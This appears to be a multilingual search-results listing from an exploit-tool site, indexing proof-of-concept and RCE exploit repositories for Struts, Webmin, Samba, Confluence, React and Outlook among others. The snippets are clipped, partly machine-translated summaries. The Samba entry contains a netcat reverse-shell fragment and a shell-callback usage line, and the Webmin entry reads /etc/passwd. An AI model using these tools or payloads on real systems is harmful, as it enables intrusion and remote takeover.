624204 matches found
CVE-2018-11776
CVE-2018-11776 Proof of Concept 익스플로잇으로, 어떤 보호 및 수정 사항이 사용 가능한지 빠르게 평가할 수 있도록 만들었습니다. 원래 Man Yue MoSemmle가 발견: https://semmle.com/news/apache-struts-CVE-2018-11776 Semmle은 "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" YouTube 동영상을 잠시 올렸지만, 지금은 없어진 것 같거나 적어도 Semmle에 더 이상 링크되지 않습니다:...
CVE-2016-5640
CVE-2016-5640 Crestron AirMedia AM-100 RCE CVE-2016-5640 Metasploit 모듈 펌웨어 버전 1.4.0.13의 Crestron AirMedia AM-100 기기의 무선 진단 페이지에서 원격 명령 주입 취약점을 악용하는 모듈입니다. 명령은 서비스를 실행하는 계정일반적으로 root으로 실행됩니다. 제가 체크 작성과 cmdstager 사용 경험을 쌓기 위해 모듈을 작성한 오래된 익스플로잇입니다 . 취약점의 최초 공개 및 작성에 대한 모든 공로는 Cylance에게 있습니다, 아마도:...
CVE-2017-9791
CVE-2017-9791 Apache Struts CVE-2017-9791 원격 코드 실행 취약점을 위한 Metasploit 모듈...
CVE-2017-3241-POC
CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...
CVE-2019-15642
CVE-2019-15642 Webmin 원격 코드 실행 인증됨 python 사용법: python CVE-2019-15642.py https://xxx.xxx.xxx:10000 "cat /etc/passwd" 0x01 Webmin용 docker cd /vulhub/webmin/CVE-2019-15107 docker-compose up -d root@9460493fa985:/ passwd root Webmin 사용자명=root, 비밀번호=root...
CS4239-Spring4Shell-POC
CS4239-Spring4Shell-POC CS4239 G410 보고서용 CVE-2022-22965Spring4Shell 개념 증명PoC입니다. 패치되지 않은 동작과 패치된 동작을 시연하기 위해 이 PoC를 각색했습니다. 데모 실행 이 저장소에는 동일한 소스 코드를 가진 2개의 예제 프로그램도커화됨이 있습니다. 하나는 취약한 버전의 Spring Boot를 사용하고 다른 하나는 패치된 버전을 사용합니다. Tomcat도 이 취약점에 대한 패치를 출시했지만, Spring 패치의 효과를 분리하기 위해 이 데모에서는 동일한 취약한 버전...
CVE-2024-28397-Js2Py-RCE-Exploit
💡 深掘り: 詳細なテクニカルブリーフィング PDF を読むにはここをクリックしてください。 CVE-2024-28397: Js2Py サンドボックスエスケープペイロードジェネレーター CVE-2024-28397 用のプロフェッショナルなペイロードジェネレーターです。このツールは、js2py サンドボックス バージョン 0.74 以下 をエスケープし、ターゲットシステム上で任意のコマンドを実行するように設計された悪意のある JavaScript コードを生成します。 🚨 脆弱性の詳細 CVE ID: CVE-2024-28397 影響を受けるコンポーネント: Js2Py = 0.74...
CVE-2024-38856_Scanner
CVE-2024-38856 仅供道德使用，不允许任何有害或恶意活动。使用者自行承担责任。 CVE-2024-38856：Apache OFBiz 远程代码执行扫描与利用工具 CVE 分析：https://blog.securelayer7.net/cve-2024-38856-apache-ofbiz-rce 该漏洞影响 Apache OFBiz：至 18.12.14 版本 使用方法 root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ █████╗ █████╗ ███████╗...
CVE-2026-55200
CVE-2026-55200 - 치명적인 libssh2 원격 코드 실행 취약점 libssh2의 인증 전 치명적인 메모리 손상 취약점 개요...
isf
Industrial Exploitation Framework ISFIndustrial Exploitation Framework is a exploitation framework based on Python, it's similar to metasploit framework. ISF is based on open source project routersploit. Read this in other languages:English, 简体中文, Disclaimer Usage of ISF for attacking targets...
CVE-2025-55182-React-RCE
CVE-2025-55182-React-RCE プロジェクト概要と原理 RSC機能を活用してWAF検出をバイパスできる世界初のCVE-2025-55182 React Server RCEエクスプロイト。 RSC特有の機能を利用してWAFをバイパスする、世界初のCVE‑2025‑55182 React Server RCEエクスプロイト。 React Serverのデフォルト環境でのRCEを実現。 WAF回避シナリオに対応したオリジナルのEXPを新たに追加。原理: getOutlinedModel において、ブロックをまたいでJSONを段階的に参照可能。...
linux_screenshot_xwindows
Intro The goal of this volatility plugin is to extract a screenshot of all open X windows from a memory dump. Previous work The volatility plugin linuxxwindows realised by Adam Bridge https://github.com/bridgeythegeek/linuxxwindows extracts various metadata from the window objects registered to X...
CVE-2024-4577-PHP-RCE
CVE-2024-4577-PHP-RCE Project Introduction and Principle The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment XAMPP. The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WA...
Exploit-CVE-2021-21086
Эксплойт CVE-2021-21086 Этот эксплойт позволяет выполнить шелл-код в контексте процесса рендеринга Adobe Acrobat Reader DC версий 2020.013.20074 и более ранних на Windows 10. Примечание: используемый в этом примере шелл-код открывает калькулятор. Для его работы необходимо отключить песочницу Adob...
CVE-2018-15961
CVE-2018-15961 - Adobe ColdFusion 2018 RCE 이 저장소는 Adobe ColdFusion 2018의 RCE 취약점에 대한 익스플로잇 코드를 포함하고 있습니다. 익스플로잇 설명 익스플로잇은 JSP 리버스 셸을 포함한 POST 요청을 /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm으로 보냅니다. 성공하면 이 요청은 셸을...
CVE-2007-2447
CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...
SDT_CW3B1_rce
SDTCW3B1rce CVE-2021-46422 설치 root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce 사용 이 도구는 pocsuite3 프레임워크의 개발 규격에 따라 작성된 poc입니다. 사용 전에 pocsuite3를 다운로드하십시오. 프로젝트 주소 root@kitploit: https://github.com/knownsec/pocsuite3 환경 root@kitploit: Python 3.7+ Works on Linux, Window...
ATLASSIAN-Confluence_rce
ATLASSIAN-Confluencerce CVE-2022-26134 インストール root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce 使用方法 このツールはpocsuite3フレームワークの開発仕様に従って作成されたPoCです。 使用前にpocsuite3をダウンロードしてください。 プロジェクトURL root@kitploit: https://github.com/knownsec/pocsuite3 環境...
CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability
CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 此脚本提供了CVE-2024-21413的概念验证（PoC），这是Microsoft Outlook中发现的一个严重安全漏洞，CVSS评分为9.8。该漏洞被称为MonikerLink漏洞，具有深远的影响，包括可能泄露本地NTLM信息以及远程代码执行的可能性。此外，它强调了一种可能绕过Office受保护视图的攻击向量，从而将其威胁范围扩展至其他Office应用程序。 🚀 用法...